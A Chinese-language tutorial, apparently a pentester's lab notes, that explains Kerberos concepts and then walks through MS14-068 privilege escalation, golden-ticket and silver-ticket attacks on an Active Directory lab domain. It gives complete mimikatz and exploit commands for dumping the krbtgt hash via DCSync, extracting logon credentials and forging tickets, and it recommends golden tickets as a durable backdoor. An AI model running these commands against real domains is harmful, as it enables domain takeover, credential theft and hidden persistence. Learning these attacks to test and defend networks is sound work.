Kerberos 是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。

一些基本的概念:

Principal 一个用户会以一个独一无二的身份来被 KDC 认证,该身份被称为 Principal。
一个 Principal 由三个部分组成:primary, instance 以及 realm,
其组成形式为primary/instance@realm。

  • primary 可以是 OS 中的 username,也可以是 service name;
  • instance 用于区分属于同一个 user 或者 service 的多个 principals,该项为 optional;
  • realm 类似于 DNS 中的 domain,定义了一组 principals
1
2
3
4
5
6
7
AD(Account Database),它作为账户管理数据库,用与存储用户认证信息,即密码的NTLM Hash等    
KDC(Key Distribution Center)密钥分发中心,里面包含两个服务:AS和TGS
AS(Authentication Server)身份认证服务器
TGS(Ticket Granting Server)票据授权服务器
SS(Service Server) 特定服务提供端
TGT(Ticket Granting Ticket)由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时
ST(Service Ticket) 由票据授权服务器提供的票据,用于特定服务

Kerberos认证流程

认证流程 z

1
2
3
4
5
6
KRB_AS_REQ: 客户端向KDC的KAS服务请求开身份证明
KRB_AS_REP: KAS认证成功后返回给客户端认购权证( TGT )
KRB_TGS_REQ: 客户端拿着TGT到KDC的TGS服务买票
KRB_TGS_REP: TGS认证成功后返回给客户端服务票据(ST)
KRB_AP_REQ: 客户端拿着ST去访问服务
KRB_AP_REP: 返回服务资源

Kerberos认证的三阶段详情可看:
Windows认证之Kerberos

Kerberos 攻击方式

MS14-068

MS14068 是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

漏洞分析:http://www.freebuf.com/vuls/56081.html
漏洞利用:
注意:Mimikatz PTC 注入不支持NT5内核,所以 XP、03 都没法用

利用方式:

MS14-068 对应的补丁为 KB3011780,systeminfo 查看是否有补丁

在域内主机 jerry 上通过 dir 来访问域控的共享文件夹,示拒绝访问

1
dir \\OWA2013.rootkit.org\c$

漏洞利用需要的参数说明:

1
2
3
4
-u 域账号+@+域名称,这里是jerry+@+rootkit.org
-p 为当前用户的密码,即jerry的密码
-s为jerry的SID值,可以通过whoami/all来获取用户的SID值
-d为当前域的域控

获取用户名,SID

1
whoami /all /fo list

获取域控地址

1
net group "Domain controllers" /domain

获取TGT的 cache 文件

1
MS14-068.exe -u jerry@rootkit.org -p qwe123! -s S-1-5-21-3759881954-2993291187-3577547808-1608 -d OWA2013.rootkit.org

清除缓存的票据

mimikatz 导入上面生成的、TGT cache 文件

1
kerberos::ptc TGT_jerry@rootkit.org.ccache


再次dir访问域控共享,本应成功,这里显示有点问题,暂留疑问?

黄金票据

通过前面我们已经知道 Kerberos 的认证大致流程,在第二阶段认证的 KRB_AS_REQ 时,Client 拥有两份加密的 Session Key 分别是:

1
2
用自己NTLM Hash加密的Session Key
用krbtgt用户的NTLM Hash加密的TGT

TGT 只有 KDC 可以解密,这是因为TGT是使用 krbtgt 用户的 NTLM Hash 进行加密的,而该Hash 只有 KDC 知道。但是这也意味着如果我们拥有 krbtgt 用户的 Hash,那么意味着我们可以解密以及伪造 TGT

利用条件

1
2
3
4
1、域名称
2、域的 SID 值
3、伪造用户名,可以是任意的
4、域的 KRBTGT 账户密码 HASH

里面前三项都比较好获取,最难的就是 krbtgt 用户的 Hash
krbtgt用户是KDC的默认用户,想要拿到它就意味着你已经拿到了域控
所以说,万能票据只能算是一种安全可靠的留后门的方式

安全可靠的原因:

  • 不用担心域管改密码,知道名字就可以伪造你的身份
  • krbtgt 密码只在 提升域功能级别、利用域的恢复数据来实施域的裸机恢复 的时候才更新,也就是说如果没大情况发生,hash 都是不变的

利用过程:
获取域名,域 SID

在域控机子上获得 krbtgt 的 hash

1
lsadump::dcsync /domain:rootkit.org /user:krbtgt

Administrator作为我们要扮演的用户,mimikatz 中的 kerberos::golden 功能生成黄金票据
参数说明:

1
2
3
4
5
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称

生成黄金票据 golden.kiribi

1
kerberos::golden /admin:administrator /domain:rootkit.org  /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt:c3d5042c67ef5f461d0ba6ecdd9ea449 /ticket:golden.kiribi

通过 mimikatz 中的 kerberos::ptt 功能(Pass The Ticket)将 golden.kiribi 导入内存中。

1
2
3
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list

此时就可以通过dir成功访问域控的共享文件夹

1
dir \\OWA2013.rootkit.org\c$

白银票据

白银票据不与 KDC 交互,伪造 Ticket 直接与 server 进行交互。
在 Kerberos 认证大致流程的 KRB_AP_REQ 时,Client 拥有两份加密的 Session Key,分别是:

1
2
用自己NTLM Hash加密的Session Key
用Server的NTLM Hash加密的Tiket

Tiket 只有 Server 可以解密,这是因为 Tiket 是使用 Server 的 NTLM Hash 进行加密的。但是这也意味着如果我们拥有 Server 的 Hash,那么意味着我们可以解密以及伪造 Tiket,从而绕过 KDC 直接进行验证。 因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。

利用条件:

1
2
3
4
1.域名称
2.域的 SID 值
3.域的服务账户的密码 HASH(不是 krbtgt,是域控)
4.伪造的用户名,可以是任意用户名,这里是 silver

利用过程:

首先我们需要知道服务账户的密码 HASH,这里同样拿域控来举例,通过 mimikatz 查看当前域账号 administrator 的 HASH 值。注意,这里使用的不是 Administrator 账号的 HASH,而是 OWA2013$ 的 HASH

1
2
privilege::debug
sekurlsa::logonpasswords

通过mimikatz生成白银票据

参数说明:

1
2
3
4
5
6
7
/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是OWA2010SP3.0day.org
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:目标主机的HASH值
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入

开始生成

1
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /target:OWA2013.rootkit.org /service:cifs /rc4:4c8d78036f691e43a56115f0f8fed1b7 /user:administrator /ptt


klist查看当前会话的kerberos票据可以看到生成的票据,访问 DC 共享文件夹

参考文章:
Kerberos 原理
windows认证-白银票据、黄金票据分析及利用
Windows认证之Kerberos